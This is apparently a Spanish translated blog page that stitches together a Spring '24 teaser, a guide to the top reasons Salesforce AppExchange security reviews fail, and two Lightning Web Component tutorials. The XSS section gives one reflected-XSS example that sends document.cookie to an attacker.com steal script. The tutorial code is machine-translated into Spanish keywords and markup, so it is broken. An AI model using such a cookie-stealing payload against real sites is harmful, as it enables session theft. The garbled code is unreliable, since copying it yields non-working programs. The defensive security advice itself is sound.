La versión Spring ’24 ya está aquí, y estos son algunos de los aspectos más destacados de la versión, que detallan las novedades para los desarrolladores de todo el ecosistema de Salesforce.
La versión Spring ’24 ya está aquí
The post Guía para desarrolladores de Salesforce sobre la versión Spring ’24 appeared first on Blog para desarrolladores de Salesforce.
La versión Spring ’24 ya está aquí
Esta es una traducción que desde EGA Futura ofrecemos como cortesía a toda la Ohana y comunidad de programadores , consultores , administradores y arquitectos de Salesforce para toda Iberoamérica .
El enlace a la publicación original, lo encontrarás al final de este artículo.
…
Se sabe que la revisión de seguridad de AppExchange es uno de los procesos de revisión más rigurosos de cualquier mercado de aplicaciones en línea. Esta estricta reputación es algo de lo que Salesforce se enorgullece, siendo la confianza nuestro valor número uno. Como mercado de software empresarial, tenemos la profunda responsabilidad de cumplir con los más altos estándares de seguridad posibles para la protección de los datos de los clientes.
Dicho esto, estos estándares pueden representar un desafío importante para los socios ISV que buscan publicar ofertas en AppExchange. Para ayudar a mejorar la transparencia y ayudarlos a todos a tener éxito, en orden de prevalencia, esta publicación analizará las 20 razones principales por las que los socios no pasan la revisión de seguridad (a partir de 2023). También cubriremos cómo remediar o prevenir estos problemas.
Las vulnerabilidades de aplicación de la seguridad a nivel de objetos y campos (CRUD/FLS) son la razón principal (por un margen significativo) para no pasar la revisión de seguridad de AppExchange. Estas vulnerabilidades representan fallas al verificar adecuadamente si los objetos y/o campos son accesibles, creables, eliminables y/o actualizables antes de ejecutar consultas o acciones de base de datos. Si su oferta de AppExchange contiene algún código de Salesforce, este problema debe ser su prioridad número uno a resolver antes de enviarlo para una revisión de seguridad.
Si, durante su proceso de codificación, no ha implementado consistentemente comprobaciones CRUD/FLS o no ha ejecutado SOQL, SOSL y DML en modo de usuario, querrá hacer una revisión muy exhaustiva de su código base para asegurarse de que no esté realizar cualquier operación de creación/lectura/actualización/eliminación no marcada en objetos o campos.
El método preferido y moderno para hacer cumplir CRUD/FLS implica utilizar el modo de usuario en todas las consultas y operaciones de bases de datos. La desventaja de esto es que Checkmarx, PMD y el motor de reglas PMD de Code Analyzer aún no lo admiten completamente (al momento de escribir esta publicación, PMD admite WITH USER_MODE en SOSL/SOQL, pero no el modo de usuario DML, por lo que si usa este tipo de protección arrojará falsos positivos). Code Analyzer Graph Engine es actualmente la única herramienta que admite ambos tipos de modos de usuario. Consulte el comando scanner:run:dfa en la documentación para ejecutar un escaneo con Code Analyzer Graph Engine.
Si ha estado aplicando CRUD/FLS a la antigua usanza con Schema.DescribeSObjectResult (es decir, métodos como isCreatable() , isUpdateable() , isDeletable() ), entonces Code Analyzer y la extensión PMD para VS Code pueden ser útiles herramientas que puede utilizar para comprobar su código base. Puede seguir nuestra guía para obtener más información sobre cómo utilizar PMD para VS Code y Code Analyzer para eliminar las infracciones CRUD/FLS.
El escáner Checkmarx debe utilizarse como verificación final de violaciones de CRUD/FLS. Puede ejecutar este análisis a través del Portal de seguridad para socios .
Obtenga más información sobre la aplicación de CRUD/FLS en Trailhead .
Esto significa que alguna pieza de software (normalmente, una versión específica del software) utilizada en su oferta tiene vulnerabilidades de seguridad conocidas. La mayoría de las veces, es porque estás usando una versión desactualizada de una biblioteca de JavaScript (por ejemplo, jQuery es, con diferencia, la más común), pero también podría ser algo así como versiones antiguas de nginx, bibliotecas de Python, CKEditor o PHP.
Intente identificar todas las bibliotecas, marcos, software y otras tecnologías que no sean de Salesforce dentro del alcance de su oferta de AppExchange.
Busque cada uno de estos en Snyk (para proyectos de código abierto) o en la base de datos CVE . CVE significa "vulnerabilidades y exposiciones comunes" y la base de datos CVE representa un glosario de vulnerabilidades de seguridad conocidas públicamente que es mantenido y operado por el FFRDC Nacional de Ciberseguridad de EE. UU. y MITRE Corporation. También puede utilizar el complemento RetireJS de Salesforce Code Analyzer para ejecutar un escaneo de su código base empaquetado para buscar bibliotecas de JavaScript con vulnerabilidades conocidas.
Nota: En algunos casos, puede agregar documentación de falsos positivos para argumentar que un CVE particular registrado no podría aplicarse a su oferta, ya que quizás no esté utilizando la funcionalidad asociada con ese CVE.
Básicamente, esto significa que tiene clases de Apex en las que no ha agregado explícitamente la palabra clave with sharing al encabezado de la clase, omitiendo así las reglas de uso compartido de una organización.
Simplemente verifique todas sus clases de Apex y asegúrese de tener with sharing (o el uso compartido heredado) definido en el encabezado de la clase. Para los casos en los que necesita que una clase se ejecute sin compartir (por ejemplo, la clase debe ejecutarse en un contexto de sistema y no en un contexto de usuario), agregue una explicación a su documento de falso positivo que explique el caso de uso empresarial (e idealmente, agregue comentarios en la parte superior). de los encabezados de clase relevantes para que quede aún más claro).
Code Analyzer , PMD para VS Code y Checkmarx también pueden ayudarlo a escanear su código.
Obtenga más información sobre cómo compartir el cumplimiento a través de Trailhead .
Los secretos no deben estar codificados en el código fuente. Aunque el código puede estar contenido en un paquete administrado donde el código está oculto para los clientes, todavía existen razones por las que esta es una práctica insegura, entre ellas:
Asegúrese de que no haya secretos codificados en el código fuente, incluso si es un paquete administrado. Asegúrese de que todos los secretos se almacenen de una de las siguientes maneras:
Obtenga más información sobre el almacenamiento seguro de secretos en Trailhead .
Todas las conexiones entrantes y salientes que involucran a sus comunidades, sitios y portales de Salesforce deben utilizar Transport Layer Security (TLS) 1.2. Este requisito es válido en los modos Lightning Experience y Salesforce Classic para comunidades y sitios, independientemente de si están en las ediciones Essentials, Enterprise, Performance, Unlimited o Developer.
Verifique que el acceso a su navegador, las integraciones de API y otras funciones de Salesforce sean compatibles con TLS 1.2.
Una forma sencilla de hacerlo es utilizar Qualys SSL Scanner. El equipo de revisión de seguridad ejecutará este análisis en todos y cada uno de los puntos finales externos o que no sean de Salesforce involucrados en su solución. Si sus terminales no reciben una calificación A por cumplimiento de SSL/TLS, su revisión de seguridad no será aprobada.
Para ejecutar el escaneo, simplemente ingrese la URL base en el formulario web de prueba del servidor SSL de Qualys y presione Enviar.
Puede encontrar más detalles sobre los requisitos de TLS en las notas de la versión .
Este tipo de vulnerabilidad describe situaciones en las que se filtra información confidencial, como secretos de aplicaciones, datos del sistema o información de depuración demasiado detallada, a través de funciones de registro u otros flujos de salida. Por lo general, esto sucede cuando el registro detallado está habilitado para fines de desarrollo, pero luego no se reduce adecuadamente antes de enviarlo para la revisión de seguridad de AppExchange.
En su paquete de Salesforce, asegúrese de buscar en su código fuente todas las declaraciones de depuración del paquete para asegurarse de que no registren información confidencial o secretos.
Asegúrese de que los códigos de error y los mensajes de error en toda su solución tengan un nivel de información apropiado para que todos los usuarios los vean. Por ejemplo, los usuarios habituales generalmente no deberían ver seguimientos de pila completos ni información de depuración detallada. De manera similar, asegúrese de que otras funciones de registro o flujos de salida tampoco filtren datos confidenciales.
Code Analyzer y PMD para VS Code pueden ayudarlo a detectar estos problemas en las aplicaciones de Salesforce, y los escáneres de aplicaciones web como Burp Suite , Chimera u OWASP ZAP también pueden ayudarlo a detectar estos problemas en sus integraciones externas y aplicaciones web.
Obtenga más información sobre cómo verificar los seguimientos de la pila e información detallada sobre las excepciones en el número 13.
La falsificación de solicitudes entre sitios (CSRF) es un tipo de ataque que engaña a una víctima para que ejecute acciones no deseadas en una aplicación web en la que está autenticada. Explotar la confianza que un sitio tiene en el navegador del usuario puede llevar a acciones potencialmente dañinas, como cambiar direcciones de correo electrónico y contraseñas, o incluso realizar transacciones sin el conocimiento o consentimiento del usuario.
En la plataforma Salesforce, existe un token anti-CSRF para contrarrestar dichos ataques, que ofrece protección mientras se utilizan controladores y métodos estándar. Sin embargo, los desarrolladores pueden eludir involuntariamente estas salvaguardas anti-CSRF al crear sus propios métodos de acción.
En general, las aplicaciones web pueden prevenir ataques CSRF principalmente implementando tokens anti-CSRF, que son valores únicos y específicos del usuario incluidos en cada solicitud de cambio de estado para verificar la fuente. Además, deben adoptar la práctica de cookies del mismo sitio, que impide que el navegador envíe la cookie junto con solicitudes entre sitios, mitigando así los riesgos de CSRF.
Para páginas de Visualforce:
Para componentes Lightning:
init (para Aura) ,connectedCallback , renderedCallback o constructor .Al realizar llamadas API:
CSRF es uno de los tipos de problemas de seguridad más complicados, por lo que vale la pena invertir en aprender más sobre él en profundidad. Para los paquetes de Salesforce, existe excelente documentación para desarrolladores y un módulo Trailhead como referencia.
Para otros tipos de aplicaciones web, es posible que desees consultar la documentación de OWASP .
Los escáneres de aplicaciones web, como Burp Suite , Chimera u OWASP ZAP , también pueden ayudarle a detectar estos problemas en sus aplicaciones web externas.
Los ataques de secuencias de comandos entre sitios (XSS) son problemas de inyección en los que se insertan secuencias de comandos dañinas en sitios web confiables. Ocurren cuando un atacante explota una aplicación web para enviar código malicioso, a menudo un script del lado del cliente, a un usuario diferente. Estos ataques explotan fallas en aplicaciones web que utilizan entradas de usuario no validadas o codificadas en su salida.
En un ataque XSS, el navegador de un usuario desprevenido ejecuta el script malicioso, creyendo que proviene de una fuente confiable. Esto permite que el script acceda a cookies, tokens de sesión u otros datos confidenciales almacenados en el navegador. Incluso puede modificar el contenido HTML de la página.
Los ataques XSS almacenados son de tipo persistente, en los que la aplicación web almacena la entrada maliciosa y luego se muestra a los usuarios. Los ataques XSS reflejados, por otro lado, generalmente ocurren cuando se inyecta código malicioso en una URL, que se ejecuta cuando un usuario hace clic en ella (por ejemplo: http://example.com/search?query=<script>document.location='http://attacker.com/steal.php?cookie='+document.cookie;</script> ).
Los motivos por los que su aplicación podría ser susceptible incluyen:
innerHTML , lwc:dom=”manual” o el componente lightning:formattedRichText sin la validación de entrada adecuada.Su objetivo principal debe ser evitar la manipulación de DOM, pero también recomendamos practicar el filtrado de entrada y la codificación de salida, que incluyen:
eval() , DOMParser.parseFromString() , Document.implementation.createHTMLDocument() , setTimeout() , setInterval() )Este módulo de Trailhead explica exactamente cómo mitigar XSS con estas técnicas, y nuestra documentación para desarrolladores también es útil aquí. Para obtener consejos específicos sobre la protección contra XSS en componentes Lightning, consulte la página Seguridad Lightning en la Guía de codificación segura.
Para aplicaciones web que no son de Salesforce, también puede consultar la documentación de OWASP para obtener consejos adicionales.
Los escáneres de aplicaciones web, como Burp Suite , Chimera u OWASP ZAP , también pueden ayudarle a detectar estos problemas.
Muchos paquetes administrados por Salesforce no pasan la revisión de seguridad por no almacenar JavaScript como recursos estáticos en sus paquetes y, en su lugar, se vinculan a archivos JavaScript alojados externamente con etiquetas <script> . La razón principal de esta regla es que permite un control de versiones mucho más seguro y garantiza la integridad de los archivos JavaScript en su paquete de Salesforce incluso si la fuente externa está comprometida.
Nuestra regla es que todos los recursos de script y estilo deben agregarse al paquete como recursos estáticos y luego cargarse con una etiqueta <apex:includeScript> en su página (para Visualforce) o un ltng:require en su .cmp o .app. marcado (para Aura).
Nota: Si tiene un LWC, defina los módulos JavaScript que importe a su componente o use la función loadScript para cargar un archivo JavaScript de recursos estáticos.
Para paquetes que no son LWC, la mejor manera de verificar este problema es buscar manualmente su código fuente para asegurarse de que todas las bibliotecas de JavaScript estén almacenadas como recursos estáticos, no cargadas dinámicamente a través de hipervínculos.
Para situaciones en las que esto no sea factible, recomendamos programar una cita en horario de oficina técnica para analizar su caso de uso. Es posible obtener una excepción en ciertos casos.
Obtenga más información sobre este problema en nuestra documentación para desarrolladores .
La inyección SOQL es la versión específica de Salesforce de la inyección SQL. Ocurre cuando una entrada no validada proporcionada por el usuario se inserta directamente en una consulta SOQL dinámica. Si la entrada no está validada, puede incluir comandos SOQL que modifican efectivamente la declaración SOQL y engañan a la aplicación para que ejecute comandos no deseados.
La forma más sencilla de evitar el problema es evitar consultas dinámicas en favor de consultas estáticas y utilizar variables vinculantes. De lo contrario, deberá validar estrictamente las entradas del usuario antes de usarlas en consultas mediante técnicas como encasillamiento, lista blanca de entradas o escape.
Code Analyzer , PMD para VS Code y Checkmarx también pueden ayudarlo a escanear su código.
Para obtener más información, consulte nuestro módulo Trailhead o revise nuestra documentación para desarrolladores .
Para aplicaciones que no son de Salesforce, es posible que desee obtener más información sobre la inyección SQL en la guía OWASP . Los escáneres de aplicaciones web, como Burp Suite , Chimera u OWASP ZAP , también pueden ayudar a identificar problemas de inyección SQL.
Similar al problema de usar etiquetas <script> o <link> para cargar JavaScript en sus paquetes, usar etiquetas <link> o <style> para cargar CSS en lugar de <apex:stylesheet> (Visualforce) o <ltng:require> ( Aura) se considera una práctica insegura. Estas etiquetas <link> y <style> pueden hacer referencia a recursos externos o en línea que contienen CSS o JavaScript, y la arquitectura de seguridad Lightning Web Security (LWS) de Salesforce no los controla ni los desinfecta.
Para los componentes de Aura, en particular, el uso de <ltng:require> también permite a Salesforce aplicar correctamente las reglas de seguridad LWS y garantizar que el CSS que está cargando esté correctamente aislado y no incluya código o estilos JavaScript no seguros que puedan afectar negativamente a otros. partes de su aplicación Salesforce.
Para hacer referencia a un recurso CSS externo que haya subido como recurso estático, use una etiqueta <apex:stylesheet> en su página (para Visualforce) o una etiqueta <ltng:require> en su marcado .cmp o .app (para Aura ). Busque el código fuente de su paquete para asegurarse de que no haya utilizado etiquetas <link> o <style> en ningún lugar para cargar recursos CSS.
Nota: Si tiene una LWC, no puede encontrarse con este problema de todos modos porque, al igual que las etiquetas <script> , las etiquetas <style> ya están bloqueadas para su uso dentro de las plantillas HTML. En su lugar, incluiría su CSS en el archivo CSS asociado de su componente o usaría la función loadStyle para cargar un archivo CSS de recursos estáticos.
Puede encontrar más información en nuestra documentación para desarrolladores .
Salesforce tiene reglas estrictas sobre el uso de JavaScript y una de esas reglas es que JavaScript no se puede ejecutar directamente dentro del contexto de la aplicación Salesforce. Esto significa que no puede incluir bloques de JavaScript directamente dentro de los componentes que se ejecutan en Salesforce DOM, como HomePageComponents, WebLinks, Custom Buttons, etc.
En cambio, todo JavaScript debe residir bajo el dominio de espacio de nombres de su aplicación en las páginas de Visualforce que usted controla, de modo que el JavaScript personalizado esté esencialmente aislado del DOM principal de Salesforce. Eso significa que no puede usar JavaScript para crear botones personalizados, pestañas web, componentes de página de inicio y elementos similares (por ejemplo, incluir controladores de eventos de JavaScript onclick en botones personalizados podría ser motivo de falla).
Esto es algo que deberá verificar manualmente en el código fuente de su paquete Salesforce. Verifique y asegúrese de que no haya utilizado JavaScript para crear botones personalizados, pestañas web, componentes de la página de inicio u otros elementos similares, y verifique que cualquier JavaScript personalizado esté incluido solo en el dominio de su aplicación con espacio de nombres en las páginas de VisualForce que controla como parte de su aplicación.
Una forma de verificar esto es buscar el texto <openType>onClickJavaScript</openType> en los archivos de metadatos de la aplicación (a menudo en archivos XML como weblink/something.weblink) y, si lo encuentra, asegúrese de eliminarlo. Incluso si su aplicación solo está destinada a usarse en Lightning Experience, si la vulnerabilidad está presente para los usuarios en modo Clásico, el paquete no se puede aprobar.
Esta regla en particular no está especialmente bien documentada, pero puede leer más en el documento Lista de verificación de revisión de seguridad de AppExchange (se requiere iniciar sesión en la comunidad de socios).
En el contexto de la revisión de seguridad de AppExchange, este término se refiere específicamente a situaciones (generalmente en aplicaciones o servicios web que no son de Salesforce o fuera de plataforma) donde sus páginas de error muestran datos confidenciales del sistema o información de depuración. Por ejemplo, a veces las páginas de error incluyen seguimientos de pila completos que muestran cómo se hace referencia internamente a los objetos o rutas de archivo relativas al lugar donde está instalada la aplicación. A veces, incluso la información confidencial queda expuesta de esta manera.
Busque en su base de código llamadas que causen excepciones o que los seguimientos de pila se representen en cadenas o flujos de salida, y realice pruebas que puedan causar errores, como entradas no válidas, entradas vacías, entradas demasiado largas, acceso a páginas internas sin autenticación, omisión de aplicaciones. flujo, etc
La herramienta de fuzzing de Burp Suite puede ser una gran ayuda en este caso.
También puede obtener excelentes consejos para realizar pruebas de seguimiento de pila a través de esta guía de OWASP .
Se supone que los componentes de Aura son pequeños, autónomos, reutilizables y reposicionables. CSS que evita la encapsulación de componentes (a través de .THIS) o que utiliza un posicionamiento no estándar (por ejemplo, flotante o posición: absoluta o fija) infringe estas garantías y puede interferir con la visualización de otros componentes. En particular, el uso del posicionamiento absoluto en CSS es la razón principal de este tipo de falla.
Si bien esto puede no parecer un problema de seguridad a primera vista, puede alterar el diseño del sitio web de Salesforce y viola el espíritu del modelo de seguridad de Lightning, donde los componentes están estrictamente aislados y se garantiza que permanecerán en su propio carril.
Este es otro problema que debes verificar manualmente. Básicamente, busque en el CSS de su componente Aura, especialmente para posicionamiento absoluto/fijo o ancho y alto fijos. También recomendamos revisar nuestra documentación para asegurarse de que está siguiendo todas las reglas CSS correctas.
Este término se refiere específicamente a los casos en los que no ha configurado el indicador isExposed en Lightning Message Channel en falso. Dado que esto proporciona acceso a la API del Servicio de mensajes Lightning (LMS), que le permite publicar y suscribirse a mensajes en todo el DOM y entre Aura, Visualforce y Lightning Web Components, debe establecerse en falso a menos que sea realmente necesario.
Tiene dos opciones, según su caso de uso, que incluyen:
isExposed=false . Esto debe hacerse creando un nuevo componente de canal LMS porque los componentes existentes con isExposed=true no pueden cambiar isExposed=false . Utilice únicamente el componente recién creado en el código.Más información está disponible en la documentación .
Esto se refiere a una situación en la que se envía información confidencial de larga duración en URL (por ejemplo, un ID o secreto de cliente, o un nombre de usuario/contraseña). En realidad, esto puede llevar a que se filtren secretos a largo plazo de varias maneras posibles. Por ejemplo:
Burp Suite puede ayudarle aquí para aplicaciones web que no sean de Salesforce o fuera de plataforma, pero en general recomendamos comprobar manualmente su aplicación para detectar cualquier caso en el que se envíen secretos a largo plazo a través de URL. Dependiendo de su caso de uso, es posible que deba realizar cambios, como usar solicitudes POST en lugar de solicitudes GET, cambiar su método de autenticación (OAuth 2.0 es generalmente ideal) y emplear cifrado y mejores métodos de almacenamiento de secretos.
La guía OWASP es un gran recurso a seguir.
El nombre de esta vulnerabilidad simplemente se refiere a situaciones en las que se utiliza HTTP en lugar de HTTPS.
Las herramientas de escaneo pueden ser de ayuda, pero una forma aún más segura de verificar esto es buscar en el código fuente enlaces HTTP y cambiarlos a HTTPS. Puede aprender un poco más sobre cómo esto mejora la seguridad en esta página de OWASP .
Por lo general, este problema solo surge en aplicaciones web externas fuera de la plataforma Salesforce. Se refiere a una situación en la que los atacantes pueden enumerar listas de nombres de usuario o correos electrónicos de su base de usuarios, generalmente analizando cambios en mensajes de error en funciones de inicio de sesión, funciones de olvido de contraseña o registros de cuentas. Los atacantes suelen hacer esto para poder comprobar si hay contraseñas reutilizadas de bases de datos comprometidas y fugas o volcados de contraseñas.
Verifique sus mensajes de error para registros de cuentas, recuperación de contraseñas, intentos de inicio de sesión, etc., y asegúrese de que su mensaje de error sea el mismo independientemente de si el nombre de usuario o el correo electrónico ingresado es válido.
Por ejemplo, muchos sitios incluyen un mensaje genérico, como: "Si dicho usuario existe, recibirá un correo electrónico con un restablecimiento de contraseña". Este tipo de mensaje general evita confirmar la existencia de un nombre de usuario o correo electrónico.
Por supuesto, en determinadas situaciones, puede ser inevitable (por ejemplo, durante el registro de una cuenta, es posible que deba confirmar que se ha utilizado un nombre de usuario). En esas situaciones, intente implementar controles que impidan la enumeración por fuerza bruta, como captchas para evitar que los robots eliminen su formulario de registro.
Burp Suite es una excelente herramienta para verificar esto, pero si no la tiene, también puede revisar sus funcionalidades de inicio de sesión manualmente.
OWASP tiene una guía útil para evitar la enumeración de correos electrónicos y nombres de usuarios.
En ocasiones, el equipo de seguridad falla en sitios y aplicaciones web externos (que no sean Salesforce) por tener políticas de contraseñas problemáticas, como por ejemplo:
Además de evitar las situaciones anteriores, consulte la Hoja de referencia de autenticación de OWASP para obtener algunas pautas sobre cómo establecer políticas de contraseñas seguras:
Burp Suite también es muy útil para identificar problemas relacionados con las contraseñas (por ejemplo, puede usarlo para intentar forzar sus páginas de inicio de sesión).
Esto es un poco diferente del problema de administración de contraseñas descrito anteriormente. Un eco de contraseña se refiere a situaciones en las que las contraseñas se reflejan en texto sin formato en la interfaz de usuario (como cuando el usuario visita su propia página de configuración) o en llamadas API/respuestas JSON.
Asegúrese de que su contraseña no se revele ni se transmita en texto sin formato en ninguna parte de su aplicación. Asegúrese de que en las páginas de configuración u otras páginas que muestran secretos, se muestren solo como asteriscos (se pueden mostrar al hacer clic en el botón si es necesario).
Consulte la hoja de referencia sobre almacenamiento de contraseñas de OWASP para obtener más información.
Burp Suite , o quizás Chimera u OWASP ZAP , también pueden ayudarle a detectar estos problemas.
Si su solución incluye sitios web o aplicaciones web personalizados que no son de Salesforce, le recomendamos encarecidamente invertir en una licencia de Burp Suite si es financieramente viable para su organización. Burp Suite es una de las mejores herramientas de seguridad del mercado y también la utiliza mucho nuestro propio equipo de seguridad de productos. Chimera u OWASP ZAP son alternativas completamente gratuitas, pero prepárate para invertir más tiempo en términos de revisión manual, ya que carecen de muchas de las potentes funciones/herramientas que tiene Burp Suite.
Nota: Si su oferta se integra con aplicaciones o servicios web que no son de su propiedad, no intente escanear los puntos finales hasta que haya obtenido el permiso del propietario.
Salesforce Product Security también utiliza Code Analyzer , PMD para VS Code y Checkmarx para revisar el código fuente del paquete Salesforce. También utilizan la base de datos CVE y el escáner Qualys SSL en la mayoría de los envíos.
Si tiene problemas de seguridad y necesita orientación técnica, los socios ISV pueden registrarse para obtener horas de oficina gratuitas con nuestros ingenieros de seguridad a través del Portal de seguridad para socios .
Por último, no podemos recomendar lo suficiente Trailhead en términos de preparación para revisiones de seguridad. Vale la pena dedicar tiempo a la ruta Desarrollar aplicaciones web seguras y también acabamos de renovar el módulo Revisión de seguridad de AppExchange , que analiza el proceso de envío de un extremo a otro.
Anika Teppo es evangelista técnica en Salesforce. Ha estado trabajando con el equipo de revisión de seguridad de AppExchange en Salesforce desde 2017, y su función actual consiste en hacer que Salesforce Labs y las soluciones internas se revisen y publiquen en AppExchange.
Añadir a holgura Suscríbete a RSS
Última actualización el 19 de julio de 2023 por Rakesh Gupta
Después de leer este blog, podrá:
En el pasado, escribí algunos artículos sobre Lightning Web Component . ¿Por qué no echarles un vistazo mientras estás en ello?
Janel Parrish trabaja como desarrollador junior en Gurukul on Cloud (GoC). Se le ha encomendado un requisito comercial para desarrollar un componente LWC con las siguientes funcionalidades:
Utilizaremos el componente lightning-flow para incrustar un flujo de pantalla en el componente lightning web. Para crear un flujo en el componente Lightning Web, establezca el atributo flowApiName del componente Lightning-Flow en el nombre de flujo que desea usar. El componente incluye botones de navegación (Atrás, Siguiente, Pausa y Finalizar) para que los usuarios naveguen dentro del flujo.
También usaremos un adaptador de cable uiRecordApi que nos permite interactuar con registros de Salesforce desde los componentes del componente web lightning sin escribir código Apex. Esta API le permite realizar operaciones como recuperar los datos de un registro o los detalles del diseño, crear, eliminar o actualizar un registro, etc. Estos son algunos de los métodos clave proporcionados por uiRecordApi :
En el archivo de configuración XML, usaremos lightning__RecordPage como destino para permitir que el componente web de iluminación se use en una página de registro en Lightning App Builder.
Hay 3 pasos para resolver el requisito comercial de Janel utilizando Lightning Web Component y Screen Flow . Debemos:
Al final, Janel's Flow se verá como la siguiente captura de pantalla:
Una vez que todo se vea bien, realice los siguientes pasos:
Al final, Janel's Flow se verá como la siguiente captura de pantalla:
Una vez que todo se vea bien, realice los siguientes pasos:
Debajo de la plantilla de componente web lightning, se muestra una tarjeta Lightning titulada Iniciar pedido . Dependiendo de si la propiedad isPartner o isCustomer es verdadera, se iniciará y mostrará el Lightning Flow correspondiente ("rakeshistomMVP__partnerFlow" o "rakeshistomMVP__customerFlow").
Utilizaremos el componente lightning-flow para incrustar un flujo de pantalla en el componente lightning web. Desglosemos el código:
<plantilla> <div class="slds-m-alrededor_medio"> <lightning-card title="Iniciar pedido" icon-name="estándar:pedidos"> <div class="slds-m-alrededor_medio"> <template if:true={esSocio}> <lightning-flow onstatuschange={handleStatusChange} flow-api-name="rakeshistomMVP__partnerFlow" flow-input-variables={inputVariables}></lightning-flow> </plantilla> <template if:true={esCliente}> <lightning-flow onstatuschange={handleStatusChange} flow-api-name="rakeshistomMVP__customerFlow" flow-input-variables={inputVariables}></lightning-flow> </plantilla> </div> </tarjeta-relámpago> </div>
</plantilla>Este código JavaScript de muestra usa el decorador @api para crear propiedades públicas. Por ejemplo, recordId es una propiedad reactiva pública que contiene el ID de la página de registro. Mientras que el decorador @wire lee los datos de Salesforce. getRecord es una función del módulo lightning/uiRecordApi que recupera un registro. accountType y accountName se importan del esquema de Salesforce.
import { LightningElement, api, wire } de 'lwc';
importar { getRecord } desde 'lightning/uiRecordApi';
importar tipo de cuenta desde '@salesforce/schema/Account.Type';
importar nombre de cuenta desde '@salesforce/schema/Account.Name'; exportar la clase predeterminada FlowLauncher extiende LightningElement { @api recordId; nombre de la cuenta; esSocio = falso; esCliente = falso; @wire(getRecord, { recordId: '$recordId', campos: [nombre de cuenta, tipo de cuenta] }) cuenta ({ error, datos }) { si (error) { this.error = error; } más si (datos) { this.accountName = data.fields.Name.value; if(data.fields.Type.value === 'Socio tecnológico') { this.isPartner = verdadero; this.isCustomer = false; } else if(data.fields.Type.value === 'Cliente - Directo') { this.isCustomer = true; this.isPartner = false; } } } obtener variables de entrada () { devolver [ { nombre: 'nombre de cuenta', tipo: 'Cadena', valor: este.nombreDeCuenta } ]; } handleStatusChange(evento) { if(evento.detalle.estado === 'FINALIZADO') { //Acción después de que un flujo haya terminado } }
}El elemento isExposed se establece en verdadero, lo que hace que el componente esté disponible para su uso en herramientas como Lightning App Builder o Flow Builder.
El elemento de objetivos se usa para especificar dónde se puede usar su componente. En este caso, la etiqueta lightning__RecordPage significa que este componente está diseñado para usarse en una página de registro en Lightning App Builder.
¡Quiero saber de ti!
¿Qué es una cosa que aprendiste de esta publicación? ¿Cómo imagina aplicar este nuevo conocimiento en el mundo real? Siéntase libre de compartir en los comentarios a continuación.
Seguir leyendo
Última actualización el 17 de julio de 2023 por Rakesh Gupta
Después de leer este blog, podrá:
En el pasado, escribí algunos artículos sobre Lightning Web Component . ¿Por qué no echarles un vistazo mientras estás en ello?
Janel Parrish trabaja como desarrollador junior en Gurukul on Cloud (GoC). Janel tiene un requisito comercial para hacer lo siguiente:
Con la función Crear pantallas con componentes interactivos (actualmente en versión beta), ahora puede habilitar la interacción directa entre un componente web Lightning y otros elementos de flujo en la misma pantalla. 
Anteriormente, no existía una disposición directa para la interacción dinámica entre un componente web Lightning y los elementos de flujo. Como resultado, los usuarios tenían que navegar a la siguiente pantalla para ver los datos pasados por el componente web Lightning en Screen Flow.
Al crear el componente web Lightning, también utilizaremos el evento FlowAttributeChangeEvent . Esto permitirá que un componente controle la navegación del flujo y notifique al flujo los cambios en los valores de los atributos.
Los eventos FlowAttributeChangeEvent solo se admiten en componentes donde el destino es lightning__FlowScreen .
Hay 2 pasos para resolver el requisito empresarial de Janel utilizando Lightning Web Component y Screen Flow . Debemos:
En primer lugar, cree un componente web Lightning de ubicación de entrada con el siguiente código. El componente lightning-input-location representa un campo de geolocalización compuesto que acepta valores de latitud y longitud introducidos por el usuario, siendo ambos coordenadas geográficas expresadas en grados decimales. Le permite identificar ubicaciones utilizando estas coordenadas.
El rango aceptable para la latitud está entre -90 y 90, mientras que la longitud acepta valores de -180 a 180. Cualquier entrada más allá de estos rangos especificados genera un mensaje de error. Este ejemplo muestra un campo de geolocalización compuesto, que muestra una latitud de 27,70750 y una longitud de -122,3948370.
Si no sabe cómo crear un componente Lightning, consulte esta guía para desarrolladores, Crear un componente web Lightning .
Utilizaremos el componente de ubicación de entrada de rayos para aceptar valores de latitud y longitud. Desglosemos el código:
<plantilla> <relámpago-entrada-ubicación etiqueta="Coordenadas predeterminadas" latitud={latitud} longitud={longitud} onchange={handleChange}> </ubicación-de-entrada-del-relámpago>
</plantilla>Este código JavaScript de muestra utiliza el decorador @api para crear propiedades públicas, es decir, accesibles desde otros componentes o utilizadas en plantillas HTML. Por ejemplo, @api latitude y @api longitude declaran dos propiedades públicas.
importar { LightningElement, api } desde 'lwc';
importar {FlowAttributeChangeEvent} desde 'lightning/flowSupport'; exportar la clase predeterminada LwcToScreenFlow extiende LightningElement { @api latitud; @api longitud; handleChange(evento){ esta.latitud = evento.objetivo.latitud; this.longitude = event.target.longitude; ["latitud", "longitud"].forEach((loc) => this.dispatchEvent(new FlowAttributeChangeEvent(ubicación, esta[ubicación])) ); }
}El elemento isExposed se establece en verdadero, lo que hace que el componente esté disponible para su uso en herramientas como Lightning App Builder o Flow Builder. El elemento de objetivos se usa para especificar dónde se puede usar su componente. En este caso, la etiqueta lightning__FlowScreen significa que este componente está diseñado para usarse en las pantallas de Salesforce Flow.
Los elementos targetConfigs y targetConfig le permiten definir propiedades que se pueden establecer en el contexto del constructor. En este caso, las propiedades son latitud y longitud . Ambos están configurados para ser del tipo Integer y tienen la función de outputOnly , lo que significa que se pueden configurar en el flujo, pero el usuario no puede modificarlos dentro del componente. Estas propiedades se pueden usar para pasar datos del LWC al flujo.
<?versión xml="1.0" codificación="UTF-8"?>
<LightningComponentBundle xmlns="http://soap.sforce.com/2006/04/metadatos"> <apiVersion>58.0</apiVersion> <isExposed>verdadero</isExposed> <objetivos> <target>relámpago__FlowScreen</target> </objetivos> <configuraciones de destino> <targetConfig objetivos="relámpago__FlowScreen"> <property label="Latitude" name="latitude" type="Integer" role="outputOnly"/> <property label="Longitud" name="longitud" type="Integer" role="outputOnly"/> </targetConfig> </configuraciones de destino>
</LightningComponentBundle>
Al final, Janel's Flow se verá como la siguiente captura de pantalla:
Una vez que todo se vea bien, realice los siguientes pasos:
¡Quiero saber de ti!
¿Qué es una cosa que aprendiste de esta publicación? ¿Cómo imagina aplicar este nuevo conocimiento en el mundo real? Siéntase libre de compartir en los comentarios a continuación.
Seguir leyendo
Esta es una traducción que desde EGA Futura ofrecemos como cortesía a toda la Ohana y comunidad de programadores , consultores , administradores y arquitectos de Salesforce para toda Iberoamérica .
El enlace a la publicación original, lo encontrarás al final de este artículo.
…
